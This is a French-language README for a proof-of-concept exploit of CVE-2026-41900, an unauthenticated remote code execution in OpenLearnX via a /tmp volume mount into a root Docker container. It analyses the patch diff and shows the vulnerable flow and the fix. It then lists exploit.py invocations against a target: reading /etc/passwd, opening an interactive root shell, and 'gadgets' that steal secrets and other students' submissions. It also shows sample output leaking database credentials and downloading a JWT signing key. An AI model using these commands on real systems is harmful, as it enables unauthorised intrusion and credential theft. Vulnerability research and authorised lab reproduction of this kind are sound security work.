Preuve de concept pour CVE-2026-41900, une exécution de code à distance non authentifiée dans OpenLearnX via le montage de volume de conteneur, permettant la divulgation de /tmp et l'exécution de commandes.
| Propriété | Valeur |
|---|
| Nom | OpenLearnX-RCE |
| CVE | CVE-2026-41900 |
| GHSA | GHSA-8h25-q488-4hxw |
| Type | Divulgation d'informations non authentifiée / RCE |
| Affecté | OpenLearnX < commit 14765d7 |
| Corrigé | Commit 14765d7 (real_compiler_service) |
| CVSS | 8.6 (Élevé) |
| CWE | CWE-538, CWE-377, CWE-250 |
OSDC (mon pipeline automatisé d'intelligence sur les correctifs) a signalé un avis silencieux sur OpenLearnX — GHSA-8h25-q488-4hxw publié sans aucun détail technique. J'ai récupéré le commit de correctif (14765d7) et l'ai comparé à son parent (d19c4e4).
Le diff racontait toute l'histoire : execute_in_container() dans backend/routes/coding.py avait été vidé et remplacé par un real_compiler_service durci. L'ancien code écrivait le code fourni par l'utilisateur dans un fichier temporaire, puis montait os.path.dirname(temp_file) — qui se résout en /tmp — dans un conteneur Docker frère en tant que volume en lecture seule. Pas de user=, pas de cap_drop, pas de security_opt. Root par défaut.
Le point clé : le blueprint compiler à /api/compiler/execute n'a aucun décorateur d'authentification. Toute requête non authentifiée peut déclencher l'exécution de code via la configuration conteneurisée vulnérable.
J'ai isolé le code pré-correctif dans un laboratoire local, confirmé tous les vecteurs, et écrit ce PoC.
POST /api/compiler/execute (pas d'authentification)
│
▼
execute_in_container(user_code)
│
├─ tempfile.NamedTemporaryFile(suffix='.py') → /tmp/tmpXXXXXX.py
│
├─ volumes = { os.path.dirname(temp_file): { "bind": "/app", "mode": "ro" } }
│ │
│ └─ se résout en /tmp → TOUT /tmp monté dans le conteneur
│
├─ Pas de user= → s'exécute en root (UID 0)
├─ Pas de cap_drop → capacités Docker par défaut
├─ Pas de security_opt → profil seccomp par défaut
│
└─ L'attaquant lit : secrets, identifiants, clés JWT, soumissions des autres utilisateurs
| Gadget | Sévérité | CWE | Description |
|---|---|---|---|
listing | ÉLEVÉE | CWE-538 | Liste des répertoires de /tmp via le montage de volume |
secrets | CRITIQUE | CWE-538 | Lecture des identifiants, clés, configs depuis /tmp |
submissions | ÉLEVÉE | CWE-538 | Lecture des soumissions de code des autres étudiants |
rootcheck | MOYENNE | CWE-250 | Confirmation de l'exécution en UID 0 (root) |
caps | MOYENNE | CWE-250 | Vidage des capacités Linux effectives |
git clone https://github.com/Christbowel/CVE-2026-41900-POC.git
cd CVE-2026-41900-POC
# Aucune dépendance — bibliothèque standard uniquement
chmod +x exploit.py
# Vérifier si une cible est vulnérable
python3 exploit.py --check http://target:5000
# Exécuter tous les gadgets + générer un JSON de preuves
python3 exploit.py --exploit http://target:5000
# Exécuter une commande unique
python3 exploit.py -c "id" http://target:5000
python3 exploit.py -c "cat /etc/passwd" http://target:5000
# Ouvrir un shell interactif
python3 exploit.py --shell http://target:5000
# Exécuter des gadgets spécifiques
python3 exploit.py --gadget secrets http://target:5000
python3 exploit.py --gadget listing --gadget caps http://target:5000
Une fois dans --shell, vous obtenez un shell pseudo-interactif. Chaque commande lance un nouveau conteneur éphémère.
root@container:/app# id
uid=0(root) gid=0(root)
root@container:/app# ls -la /app/
total 28
-rw-r--r-- 1 root root 121 May 6 openlearnx_db_creds.conf
-rw-r--r-- 1 root root 235 May 6 jwt_signing_key.pem
-rw-r--r-- 1 root root 298 May 6 student_submission_8842.py
root@container:/app# cat /app/openlearnx_db_creds.conf
MONGO_URI=mongodb://admin:[email protected]:27017/openlearnx
root@container:/app# download jwt_signing_key.pem
[+] Téléchargé jwt_signing_key.pem (235B)
root@container:/app# exit
Pour reproduire localement :
cd lab/
docker compose up -d --build
sleep 3
python3 ../exploit.py --exploit http://localhost:5000
Le laboratoire déploie une application Flask conteneurisée reproduisant execute_in_container() pré-correctif avec :
/tmp partagé entre l'hôte et le conteneur de l'applicationLe commit 14765d7 a remplacé execute_in_container() par real_compiler_service qui applique :
container = docker_client.containers.run(
image,
volumes={temp_dir: {"bind": "/workspace", "mode": "rw"}}, # tmpdir isolé par exécution
cap_drop=["ALL"], # suppression de toutes les capacités
security_opt=["no-new-privileges:true"], # empêche l'escalade de privilèges
user="65534:65534", # nobody, pas root
...
)
| Date | Événement |
|---|---|
| 2026-04 | OSDC signale l'avis silencieux GHSA-8h25-q488-4hxw |
| 2026-04 | Analyse du diff du commit 14765d7 vs parent d19c4e4 |
| 2026-05 | Reproduction en laboratoire et développement du PoC |
| 2026-05-06 | PoC complet confirmé — les 5 vecteurs validés |
Cet outil est fourni à des fins de tests de sécurité autorisés et d'éducation uniquement. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal.
Christbowel · christbowel.com · Balgo Security Team